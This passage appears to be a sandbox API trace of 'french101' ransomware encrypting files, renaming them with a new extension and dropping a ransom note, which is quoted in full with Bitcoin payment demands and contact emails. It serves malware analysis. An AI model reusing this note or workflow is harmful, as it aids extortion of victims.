[0276.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0276.045] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0276.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0276.045] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\я" (normalized: "c:\\588bce7c90097ed212\\1029\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.047] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0276.048] CloseHandle (hObject=0x398) returned 1 [0276.048] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\я" (normalized: "c:\\588bce7c90097ed212\\1029\\я")) returned 1 [0276.049] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0276.049] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0276.049] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0276.050] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0276.050] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", dwFileAttributes=0x20) returned 1 [0276.050] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.051] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.051] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe8e [0276.051] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.051] SetFilePointer (in: hFile=0x398, lDistanceToMove=3726, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xe8e [0276.051] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0276.052] CloseHandle (hObject=0x398) returned 1 [0276.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.053] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.053] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xe8f [0276.053] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.053] SetFilePointer (in: hFile=0x398, lDistanceToMove=3726, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe8e [0276.053] SetEndOfFile (hFile=0x398) returned 1 [0276.453] CloseHandle (hObject=0x398) returned 1 [0276.453] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0276.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe8e [0276.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0276.454] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.454] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0276.454] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe8e [0276.454] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0276.454] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0276.455] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.455] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0276.455] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.455] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.455] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0276.455] GlobalUnlock (hMem=0x3f40014) returned 0 [0276.455] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0276.455] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0276.455] GlobalUnlock (hMem=0x3f40014) returned 0 [0276.455] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0276.455] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0276.456] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0276.456] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xe8e [0276.456] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0276.456] SetFilePointer (in: hFile=0x398, lDistanceToMove=3726, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xe8e [0276.456] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0276.481] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0276.481] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.481] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.481] CloseHandle (hObject=0x398) returned 1 [0276.482] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\nnXbshs0gTtt93z86HCqnA.french101" (normalized: "c:\\588bce7c90097ed212\\1029\\nnxbshs0gttt93z86hcqna.french101")) returned 1 [0276.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\nnXbshs0gTtt93z86HCqnA.french101" (normalized: "c:\\588bce7c90097ed212\\1029\\nnxbshs0gttt93z86hcqna.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.483] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0276.483] CloseHandle (hObject=0x398) returned 1 [0276.483] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\nnXbshs0gTtt93z86HCqnA.french101", dwFileAttributes=0x80) returned 1 [0276.485] CloseHandle (hObject=0x398) returned 0 [0276.485] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.485] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.485] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.486] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.486] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0276.486] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.486] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.486] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0276.486] GlobalUnlock (hMem=0x3f40014) returned 0 [0276.486] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0276.486] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0276.486] GetLastError () returned 0x2 [0276.486] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1029\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.487] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0276.490] CloseHandle (hObject=0x398) returned 1 [0276.490] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.490] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.490] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.490] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0276.490] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0276.490] GlobalUnlock (hMem=0x3f40014) returned 0 [0276.491] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0276.491] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0276.491] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0276.491] GlobalUnlock (hMem=0x3f40014) returned 0 [0276.491] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0276.491] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.491] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.491] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.492] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0276.492] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0276.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0276.492] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0276.492] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0276.492] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0276.492] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0276.503] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0276.504] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.504] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.504] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13c4a [0276.504] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.504] SetFilePointer (in: hFile=0x398, lDistanceToMove=80970, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x13c4a [0276.504] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0276.513] CloseHandle (hObject=0x398) returned 1 [0276.516] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13c4b [0276.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0276.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=80970, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13c4a [0276.517] SetEndOfFile (hFile=0x398) returned 1 [0276.520] CloseHandle (hObject=0x398) returned 1 [0276.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.520] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0276.520] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13c4a [0276.520] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0276.521] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.521] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0276.521] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0276.522] SetFilePointer (in: hFile=0x398, lDistanceToMove=44532, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xadf4 [0276.522] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0276.522] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0276.522] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0276.522] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0276.522] GlobalUnlock (hMem=0x3f40014) returned 0 [0276.522] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0276.522] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.522] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.522] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.522] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.921] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0276.921] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0276.921] SetFilePointer (in: hFile=0x398, lDistanceToMove=44532, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xadf4 [0276.921] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0276.921] SetFilePointer (in: hFile=0x398, lDistanceToMove=80970, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x13c4a [0276.921] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0276.921] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0276.921] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.921] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.922] CloseHandle (hObject=0x398) returned 1 [0276.924] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), 